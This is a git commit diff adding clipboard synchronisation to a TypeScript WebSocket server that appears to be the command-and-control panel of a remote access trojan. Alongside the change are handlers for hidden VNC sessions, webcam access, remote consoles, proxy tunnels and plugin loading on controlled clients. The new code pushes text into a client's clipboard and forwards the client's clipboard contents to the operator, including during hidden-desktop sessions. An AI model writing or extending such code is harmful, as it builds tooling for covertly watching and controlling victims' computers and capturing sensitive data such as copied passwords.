sync clipboard

This commit is contained in:
KingKDot
2026-03-28 21:58:16 -05:00
parent 92342578a4
commit 67616e78f3
14 changed files with 410 additions and 1 deletions
+2
View File
@@ -80,6 +80,7 @@ import {
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleClipboardContent,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
hvncStreamingState,
@@ -477,6 +478,7 @@ async function startServer() {
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleClipboardContent,
cleanupVoiceViewer,
stopConsoleOnTarget,
sendDesktopCommand,
+4 -1
View File
@@ -97,7 +97,10 @@ export type CommandType =
| "plugin_load_chunk"
| "plugin_load_finish"
| "plugin_unload"
| "agent_update";
| "agent_update"
| "clipboard_set"
| "clipboard_sync_start"
| "clipboard_sync_stop";
export type Command = {
type: "command";
@@ -77,6 +77,7 @@ type WsLifecycleDeps = {
handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
@@ -529,6 +530,9 @@ export async function handleWebSocketMessage(
case "hvnc_lookup_result":
deps.handleHVNCLookupResult(client.id, payload);
break;
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
break;
case "proxy_data": {
const connId = (payload as any).connectionId;
const tunnelData = (payload as any).data;
@@ -434,6 +434,23 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId);
break;
}
case "clipboard_sync": {
if (!state.isStreaming) break;
const text = String(payload.text || "");
if (text) {
sendDesktopCommand(target, "clipboard_set", { text });
}
break;
}
case "clipboard_sync_start": {
if (!state.isStreaming) break;
sendDesktopCommand(target, "clipboard_sync_start", { source: "rd" });
break;
}
case "clipboard_sync_stop": {
sendDesktopCommand(target, "clipboard_sync_stop", {});
break;
}
default:
break;
}
@@ -504,6 +521,21 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
}
}
export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || "");
const source = String(payload.source || "");
if (!text) return;
if (source === "hvnc") {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
}
} else {
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
}
}
}
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return;
@@ -734,6 +766,23 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
});
break;
}
case "clipboard_sync": {
if (!state.isStreaming) break;
const text = String(payload.text || "");
if (text) {
sendHVNCCommand(target, "clipboard_set", { text });
}
break;
}
case "clipboard_sync_start": {
if (!state.isStreaming) break;
sendDesktopCommand(target, "clipboard_sync_start", { source: "hvnc" });
break;
}
case "clipboard_sync_stop": {
sendDesktopCommand(target, "clipboard_sync_stop", {});
break;
}
default:
break;
}
+1
View File
@@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"webcam_devices",
"hvnc_clone_progress",
"hvnc_lookup_result",
"clipboard_content",
"proxy_data",
"proxy_close",
]);